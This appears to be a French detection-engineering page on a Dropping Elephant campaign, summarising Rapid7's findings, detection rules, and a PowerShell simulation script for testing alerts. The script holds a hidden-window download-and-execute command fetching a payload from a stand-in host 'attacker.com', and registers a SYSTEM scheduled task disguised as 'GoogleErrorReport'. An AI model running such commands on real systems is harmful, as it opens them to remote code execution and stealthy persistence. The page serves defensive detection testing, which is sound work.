Malware à la Mode : À l’intérieur de la chaîne de chargement de Dropping Elephant
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une campagne sophistiquée attribuée à Dropping Elephant utilise des documents leurres sur le thème de la Chine pour livrer un trojan d’accès à distance mis à jour et résidant en mémoire. L’intrusion repose sur le chargement latéral de DLL via un binaire légitime de Microsoft et le chargeur de shellcode Donut pour éviter la détection basée sur disque. La charge utile finale utilise également des méthodes d’évasion avancées, y compris l’aplatissement de flux de contrôle et la reconstruction d’API à l’exécution.
Enquête
Les chercheurs de Rapid7 ont découvert la menace lors d’une chasse proactive qui a commencé par un raccourci Windows malveillant se faisant passer pour un document PDF. Leur enquête a suivi la chaîne de charge utile depuis la mise en scène initiale sur chinagreenenergy[.]org via le chargement latéral de DLL de APPWIZ.cpl jusqu’à l’exécution d’un RAT en mémoire. L’analyse au niveau du code avec Diaphora a confirmé une filiation commune avec les échantillons antérieurs de Dropping Elephant malgré de nombreuses réécritures.
Atténuation
Les défenseurs devraient prioriser les détections comportementales, telles que les fichiers de raccourcis lançant PowerShell et la mise en scène de charge utile suspecte dans C:UsersPublic. Surveiller les tâches planifiées avec des noms inhabituels et identifier le chargement latéral de DLL de répertoires inattendus est également important. De plus, les défenses des points de terminaison ont besoin de visibilité au niveau de la mémoire pour détecter les altérations avec AMSI, WLDP et ETW.
Réponse
Si cette activité est détectée, isolez immédiatement les systèmes affectés pour interrompre le trafic de commande et de contrôle. Effectuez une analyse de la mémoire pour identifier le RAT injecté et inspectez les tâches planifiées pour la persistance. Les journaux de réseau devraient également être examinés pour détecter les trafics HTTPS non autorisés vers les domaines C2 connus et pour tout signe d’exfiltration de fichiers.
Flux d’attaque
Détections
Tentative de communication via l’examen de domaine IP (via DNS)
Voir
Exécution inhabituelle par changement de page de code (via ligne de commande)
Voir
Tâche programmée suspecte (via audit)
Voir
Exécution suspecte depuis le profil utilisateur public (via création de processus)
Voir
Bibliothèque dynamique Vcruntime140 chargée depuis un répertoire suspect (via chargement d’image)
Voir
Fichiers suspects dans le profil utilisateur public (via événement de fichier)
Voir
Détection de la campagne de malware de Dropping Elephant [Connexion réseau Windows]
Voir
Chargement latéral malveillant de DLL via Fondue.exe [Événement de fichier Windows]
Voir
Détection de la campagne de malware Dropping Elephant via raccourci et chargement latéral [Création de processus Windows]
Voir
Exécution de la simulation
Prérequis : La vérification préalable de télémétrie et de base doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narratif et Commandes d’Attaque : L’adversaire vise à établir la persistance et à exécuter un téléchargeur. Pour contourner les filtres standard des emails, ils utilisent un fichier de raccourci nommé
GRES3001.lnkqui apparaît comme un PDF. Lorsqu’il est cliqué, il appelleconhost.exepour exécuter un script PowerShell. Simultanément, ils établissent la persistance en créant une tâche planifiée nomméeGoogleErrorReportqui est conçue pour s’exécuterFondue.exedepuis un répertoire public, se dissimulant en tant que véritable rapporteur d’erreur Google pour éviter une inspection occasionnelle. -
Script de test de régression :
# 1. Simuler le comportement du raccourci/conhost # Nous simulons l'exécution de conhost.exe avec la chaîne spécifique dans la ligne de commande Start-Process "conhost.exe" -ArgumentList "/c PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" # Note : Pour correspondre strictement à la règle 'CommandLine contains GRES3001.lnk', nous simulons l'appel du processus comme s'il provenait de ce fichier. # Comme il n'est pas facile de falsifier le nom du processus parent dans un simple script, nous simulons la chaîne de ligne de commande attendue. Write-Host "[!] Simulation du déclenchement GRES3001.lnk..." $SimulatedCmd = "conhost.exe /c GRES3001.lnk PowerShell.exe -Command Write-Host 'Malware Loaded'" # Dans un environnement réel, le champ 'CommandLine' de Sysmon contiendrait la chaîne cible. # 2. Simuler la tâche planifiée et le chargement latéral de Fondue.exe Write-Host "[!] Simulation de la tâche planifiée GoogleErrorReport..." New-Item -Path "C:UsersPublicFondue.exe" -ItemType File -Force Set-Content -Path "C:UsersPublicFondue.exe" -Value "Dummy Payload" $TaskName = "GoogleErrorReport" $Action = New-ScheduledTaskAction -Execute "C:UsersPublicFondue.exe" Register-ScheduledTask -Action $Action -TaskName $TaskName -Description "Tâche Dropping Elephant simulée" -User "SYSTEM" -Force Write-Host "[+] Simulation complète. Vérifiez SIEM pour les alertes." -
Commandes de nettoyage :
# Supprimer le binaire malveillant fictif Remove-Item -Path "C:UsersPublicFondue.exe" -Force # Supprimer la tâche planifiée malveillante Unregister-ScheduledTask -TaskName "GoogleErrorReport" -Confirm:$false Write-Host "[+] Nettoyage complet."